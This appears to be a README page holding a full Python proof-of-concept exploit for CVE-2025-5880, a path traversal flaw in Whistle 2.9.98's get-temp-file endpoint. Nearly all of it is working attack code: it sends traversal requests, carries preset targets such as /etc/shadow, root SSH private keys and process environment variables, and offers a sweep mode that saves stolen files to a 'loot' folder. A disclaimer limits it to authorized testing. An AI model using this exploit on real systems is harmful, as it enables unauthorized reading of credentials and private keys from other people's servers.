README.md
Rendering markdown...
#!/usr/bin/env python3
# =============================================================================
# CVE-2025-5880 — Whistle 2.9.98 Path Traversal PoC
# Affected Component : /cgi-bin/sessions/get-temp-file
# Vulnerability Type : Path Traversal (CWE-22)
# Author : Security Research - Pwnr ([email protected])
# Disclaimer : For authorized testing and educational purposes only.
# =============================================================================
import argparse
import json
import sys
import urllib.request
import urllib.error
from datetime import datetime
# ── ANSI colour palette ──────────────────────────────────────────────────────
R = "\033[91m" # red
G = "\033[92m" # green
Y = "\033[93m" # yellow
C = "\033[96m" # cyan
W = "\033[97m" # white
DIM= "\033[2m"
RST= "\033[0m"
BANNER = fr"""
{R}
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ███████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝
██║ ██║ ██║█████╗ █████╔╝██║██╔██║ █████╔╝███████╗
██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗███████║
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚══════╝
{RST}{Y} Whistle 2.9.98 — Path Traversal via get-temp-file{RST}
{DIM} CVE-2025-5880 | CWE-22 | /cgi-bin/sessions/get-temp-file{RST}
{DIM} Credit - Pwnr ([email protected]){RST}
"""
# ── Default targets that are interesting to grab ─────────────────────────────
PRESETS = {
"passwd" : "/etc/passwd",
"shadow" : "/etc/shadow",
"hosts" : "/etc/hosts",
"id_rsa" : "/root/.ssh/id_rsa",
"id_ed25519": "/root/.ssh/id_ed25519",
"authorized": "/root/.ssh/authorized_keys",
"env" : "/proc/self/environ",
"cmdline" : "/proc/self/cmdline",
}
# ── Core exploit ─────────────────────────────────────────────────────────────
def exploit(base_url: str, file_path: str, timeout: int = 10) -> str | None:
"""
Send a single traversal request.
Returns the decoded file content string, or None on failure.
"""
url = f"{base_url.rstrip('/')}/cgi-bin/sessions/get-temp-file?filename={file_path}"
try:
req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"})
with urllib.request.urlopen(req, timeout=timeout) as resp:
raw = resp.read()
except urllib.error.HTTPError as e:
print(f" {R}[✗] HTTP {e.code}{RST}")
return None
except urllib.error.URLError as e:
print(f" {R}[✗] Connection error: {e.reason}{RST}")
return None
# Parse JSON envelope {"value": "..."}
try:
data = json.loads(raw)
content = data.get("value", "")
except json.JSONDecodeError:
content = raw.decode(errors="replace")
# Unescape \n sequences embedded as literal backslash-n
content = content.replace("\\n", "\n").replace("\\t", "\t")
return content
# ── CLI helpers ───────────────────────────────────────────────────────────────
def log_result(file_path: str, content: str | None, save_to: str | None) -> None:
if not content:
print(f" {Y}[~] Empty response — file may not exist or is unreadable.{RST}\n")
return
lines = content.splitlines()
print(f"\n {G}[+] Retrieved {len(lines)} line(s) from {C}{file_path}{RST}\n")
print(f" {'─' * 60}")
for ln in lines:
print(f" {W}{ln}{RST}")
print(f" {'─' * 60}\n")
if save_to:
with open(save_to, "w") as fh:
fh.write(content)
print(f" {G}[✓] Saved to {save_to}{RST}\n")
def build_parser() -> argparse.ArgumentParser:
p = argparse.ArgumentParser(
description="CVE-2025-5880 — Whistle Path Traversal PoC",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=f"""\
{Y}Examples:{RST}
# Grab /etc/passwd
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --preset passwd
# Read an arbitrary file
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 -f /etc/hostname
# Sweep all presets and save each result
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --sweep --save-dir ./loot
{R}Authorized testing only.{RST}
""",
)
p.add_argument("-u", "--url", required=True, help="Base URL (e.g. http://HOST:8899)")
p.add_argument("-f", "--file", help="Arbitrary file path to read (e.g. /etc/passwd)")
p.add_argument("--preset", choices=list(PRESETS), help="Named target file")
p.add_argument("--sweep", action="store_true", help="Iterate through all presets")
p.add_argument("-o", "--output", help="Save output to this file (single-file mode)")
p.add_argument("--save-dir", help="Directory to save loot when --sweep is used")
p.add_argument("--timeout", type=int, default=10, help="Request timeout (default: 10s)")
return p
# ── Entry point ───────────────────────────────────────────────────────────────
def main() -> None:
print(BANNER)
parser = build_parser()
args = parser.parse_args()
base = args.url
stamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
print(f" {DIM}[*] Target : {base}{RST}")
print(f" {DIM}[*] Started : {stamp}{RST}\n")
# ── Single arbitrary file ────────────────────────────────────────────────
if args.file:
print(f" {C}[→] Requesting {args.file} …{RST}")
content = exploit(base, args.file, args.timeout)
log_result(args.file, content, args.output)
# ── Named preset ─────────────────────────────────────────────────────────
elif args.preset:
path = PRESETS[args.preset]
print(f" {C}[→] Preset '{args.preset}' → {path}{RST}")
content = exploit(base, path, args.timeout)
log_result(path, content, args.output)
# ── Sweep all presets ─────────────────────────────────────────────────────
elif args.sweep:
import os
if args.save_dir:
os.makedirs(args.save_dir, exist_ok=True)
print(f" {Y}[*] Sweeping {len(PRESETS)} preset target(s) …{RST}\n")
for name, path in PRESETS.items():
print(f" {C}[→] {name:12s} → {path}{RST}")
content = exploit(base, path, args.timeout)
save_to = None
if args.save_dir and content:
save_to = os.path.join(args.save_dir, f"{name}.txt")
log_result(path, content, save_to)
else:
parser.print_help()
sys.exit(0)
print(f" {DIM}[*] Done.{RST}\n")
if __name__ == "__main__":
main()